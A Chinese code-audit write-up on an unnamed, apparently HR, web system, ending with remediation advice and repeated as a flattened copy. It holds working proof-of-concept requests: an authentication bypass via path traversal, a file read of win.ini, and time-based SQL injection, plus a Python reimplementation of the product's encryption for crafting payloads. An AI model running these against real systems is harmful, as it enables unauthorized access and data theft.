记某景的一次代码审计
字数 1094 2025-08-18 17:33:13

某景系统漏洞审计与利用技术分析

0x00 前言

本文档详细分析某景系统中存在的多个安全漏洞,包括路径穿越绕过鉴权、文件读取漏洞和SQL注入漏洞。通过代码审计的方式,深入剖析漏洞原理,并提供完整的漏洞利用方案。

0x01 过滤器鉴权绕过分析

漏洞原理

系统使用HireKeywordFilter类进行接口鉴权,但存在路径穿越漏洞可绕过鉴权检查。

关键代码分析:

var3.doFilter(var1, var2);  // 调用FilterChain对象的doFilter方法

当请求URI以/w_selfservice/oauthservlet开头时,会直接放行请求。通过构造特殊路径可以绕过鉴权:

/w_selfservice/oauthservlet../../

利用方法

在请求中构造上述路径,可以访问原本需要鉴权的接口。

0x02 漏洞审计分析

1. DisplayFiles文件读取漏洞

漏洞位置

web.xml中配置的DisplayFiles接口

漏洞原理

  1. 前端接收filepath参数
  2. 参数经过SafeCode.decodePubFunc.decrypt方法解密
  3. 解密后的路径直接传入File类进行文件读取

关键代码

// 从前端接收filepath参数
String var3 = request.getParameter("filepath");

// 解密处理
var3 = SafeCode.decode(var3);
var3 = PubFunc.decrypt(var3);

// 文件操作
File var4 = new File(var3);
// 读取文件内容并输出到响应

2. showmediainfo SQL注入漏洞

漏洞位置

web.xml中配置的showmediainfo接口

漏洞原理

  1. 接收三个参数:
    • usernumber (var3)
    • i9999 (var4)
    • kind (var5)
  2. 参数直接拼接到SQL语句中
  3. usernumberi9999参数存在注入点
  4. usernumber参数需要解密,i9999可直接注入

关键代码

String var3 = request.getParameter("usernumber");
String var4 = request.getParameter("i9999");
String var5 = request.getParameter("kind");

// usernumber需要解密
var3 = PubFunc.decrypt(var3);

// SQL拼接
String sql;
if (var5.equalsIgnoreCase("0")) {
    sql = "SELECT * FROM table WHERE usernumber='" + var3 + "'";
} else {
    sql = "SELECT * FROM table WHERE id='" + var4 + "'";
}

0x03 加解密机制分析

加密流程分析

public static String encrypt(String var0) {
    if (null == var0) {
        return "";
    } else {
        // 1. 使用SafeCode.encrypt进行DES加密
        String var1 = SafeCode.encrypt(var0);
        
        // 2. 特殊字符替换
        var1 = var1.replaceAll("%", "@2HJ5@");
        var1 = var1.replaceAll("\\+", "@2HJB@");
        var1 = var1.replaceAll(" ", "@2HJ0@");
        var1 = var1.replaceAll("\\/", "@2HJF@");
        var1 = var1.replaceAll("\\?", "@3HJF@");
        var1 = var1.replaceAll("#", "@2HJ3@");
        var1 = var1.replaceAll("&", "@2HJ6@");
        var1 = var1.replaceAll("=", "@3HJD@");
        
        // 3. 移除换行符
        var1 = var1.replaceAll("\\r\\n", "").replaceAll("\\n", "").replaceAll("\\r", "");
        
        // 4. @符号替换
        var1 = var1.replaceAll("@", "PAATTP");
        return var1;
    }
}

解密流程分析

public static String decrypt(String var0) {
    if (null == var0) {
        return "";
    } else {
        // 逆向替换操作
        var0 = var0.replaceAll("PAATTP", "@");
        var0 = var0.replaceAll("@2HJ5@", "%");
        var0 = var0.replaceAll("@2HJB@", "\\+");
        var0 = var0.replaceAll("@2HJ0@", " ");
        var0 = var0.replaceAll("@2HJF@", "\\/");
        var0 = var0.replaceAll("@3HJF@", "\\?");
        var0 = var0.replaceAll("@2HJ3@", "#");
        var0 = var0.replaceAll("@2HJ6@", "&");
        var0 = var0.replaceAll("@3HJD@", "=");
        
        // DES解密
        String var1 = SafeCode.decrypt(var0);
        return var1;
    }
}

Python加解密实现

from Crypto.Cipher import DES
from Crypto.Util.Padding import pad, unpad
from base64 import b64encode, b64decode

def encrypt(key, data):
    key = key.encode('utf-8')
    data = data.encode('utf-8')
    iv = b'\x01\x02\x03\x04\x05\x06\x07\x08'  # 初始化向量
    cipher = DES.new(key, DES.MODE_CBC, iv)
    ct_bytes = cipher.encrypt(pad(data, DES.block_size))
    var1 = b64encode(ct_bytes).decode('utf-8')
    
    # 字符替换
    var1 = var1.replace("%", "@2HJ5@")
    var1 = var1.replace("+", "@2HJB@")
    var1 = var1.replace(" ", "@2HJ0@")
    var1 = var1.replace("/", "@2HJF@")
    var1 = var1.replace("?", "@3HJF@")
    var1 = var1.replace("#", "@2HJ3@")
    var1 = var1.replace("&", "@2HJ6@")
    var1 = var1.replace("=", "@3HJD@")
    var1 = var1.replace("\r\n", "").replace("\n", "").replace("\r", "")
    var1 = var1.replace("@", "PAATTP")
    return var1

def decrypt(key, encrypted_data):
    key = key.encode('utf-8')
    # 逆向字符替换
    encrypted_data = encrypted_data.replace("PAATTP", "@")
    encrypted_data = encrypted_data.replace("@2HJ5@", "%")
    encrypted_data = encrypted_data.replace("@2HJB@", "+")
    encrypted_data = encrypted_data.replace("@2HJ0@", " ")
    encrypted_data = encrypted_data.replace("@2HJF@", "/")
    encrypted_data = encrypted_data.replace("@3HJF@", "?")
    encrypted_data = encrypted_data.replace("@2HJ3@", "#")
    encrypted_data = encrypted_data.replace("@2HJ6@", "&")
    encrypted_data = encrypted_data.replace("@3HJD@", "=")
    
    encrypted_data = b64decode(encrypted_data)
    iv = b'\x01\x02\x03\x04\x05\x06\x07\x08'
    cipher = DES.new(key, DES.MODE_CBC, iv)
    pt_bytes = unpad(cipher.decrypt(encrypted_data), DES.block_size)
    return pt_bytes.decode('utf-8')

0x04 漏洞利用POC

1. DisplayFiles文件读取漏洞利用

步骤1:加密文件路径

key = "xxxxx"  # 实际DES密钥
data = "c:/windows/win.ini"
encrypted_data = encrypt(key, data)
print("Encrypted:", encrypted_data)

步骤2:发送恶意请求

POST /templates/attestation/../../servlet/DisplayFiles HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

filepath=Iy4ZOyMhERdhPLlFrJHBaRdJo53c25S1

2. showmediainfo SQL注入漏洞利用

情况1:i9999参数注入 (kind=1)

直接注入POC:

POST /templates/attestation/../../workbench/duty/showmediainfo HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

kind=1&usernumber=&i9999=12' waitfor delay '0:0:6'--+

情况2:usernumber参数注入 (kind=0)

步骤1:加密payload

key = "xxxxx"
data = "1' if db_name(1)='master' waitfor delay '0:0:6'--+"
encrypted_data = encrypt(key, data)
print("Encrypted:", encrypted_data)

步骤2:发送恶意请求

POST /templates/attestation/../../workbench/duty/showmediainfo HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

kind=0&usernumber=i8hoHAILh4YkvJtIAayRbk4pSpIEAvWmx22WPMFig6wPAATTP3HJDPAATTP&i9999=

0x05 防御建议

  1. 鉴权修复

    • 严格校验请求路径,防止路径穿越
    • 对所有接口实施统一的鉴权机制
  2. 文件读取漏洞修复

    • 限制可访问的文件目录
    • 对文件路径进行规范化处理
    • 实施白名单机制,只允许访问特定文件
  3. SQL注入修复

    • 使用预编译语句(PreparedStatement)
    • 实施参数化查询
    • 对输入参数进行严格校验
  4. 加解密机制改进

    • 使用更安全的加密算法(AES替代DES)
    • 密钥不应硬编码在代码中
    • 实施密钥轮换机制
  5. 其他建议

    • 实施WAF防护
    • 定期进行安全审计
    • 建立安全开发流程(SDL)
某景系统漏洞审计与利用技术分析 0x00 前言 本文档详细分析某景系统中存在的多个安全漏洞,包括路径穿越绕过鉴权、文件读取漏洞和SQL注入漏洞。通过代码审计的方式,深入剖析漏洞原理,并提供完整的漏洞利用方案。 0x01 过滤器鉴权绕过分析 漏洞原理 系统使用 HireKeywordFilter 类进行接口鉴权,但存在路径穿越漏洞可绕过鉴权检查。 关键代码分析: 当请求URI以 /w_selfservice/oauthservlet 开头时,会直接放行请求。通过构造特殊路径可以绕过鉴权: 利用方法 在请求中构造上述路径,可以访问原本需要鉴权的接口。 0x02 漏洞审计分析 1. DisplayFiles文件读取漏洞 漏洞位置 web.xml 中配置的 DisplayFiles 接口 漏洞原理 前端接收 filepath 参数 参数经过 SafeCode.decode 和 PubFunc.decrypt 方法解密 解密后的路径直接传入 File 类进行文件读取 关键代码 2. showmediainfo SQL注入漏洞 漏洞位置 web.xml 中配置的 showmediainfo 接口 漏洞原理 接收三个参数: usernumber (var3) i9999 (var4) kind (var5) 参数直接拼接到SQL语句中 usernumber 和 i9999 参数存在注入点 usernumber 参数需要解密, i9999 可直接注入 关键代码 0x03 加解密机制分析 加密流程分析 解密流程分析 Python加解密实现 0x04 漏洞利用POC 1. DisplayFiles文件读取漏洞利用 步骤1:加密文件路径 步骤2:发送恶意请求 2. showmediainfo SQL注入漏洞利用 情况1:i9999参数注入 (kind=1) 直接注入POC: 情况2:usernumber参数注入 (kind=0) 步骤1:加密payload 步骤2:发送恶意请求 0x05 防御建议 鉴权修复 : 严格校验请求路径,防止路径穿越 对所有接口实施统一的鉴权机制 文件读取漏洞修复 : 限制可访问的文件目录 对文件路径进行规范化处理 实施白名单机制,只允许访问特定文件 SQL注入修复 : 使用预编译语句(PreparedStatement) 实施参数化查询 对输入参数进行严格校验 加解密机制改进 : 使用更安全的加密算法(AES替代DES) 密钥不应硬编码在代码中 实施密钥轮换机制 其他建议 : 实施WAF防护 定期进行安全审计 建立安全开发流程(SDL)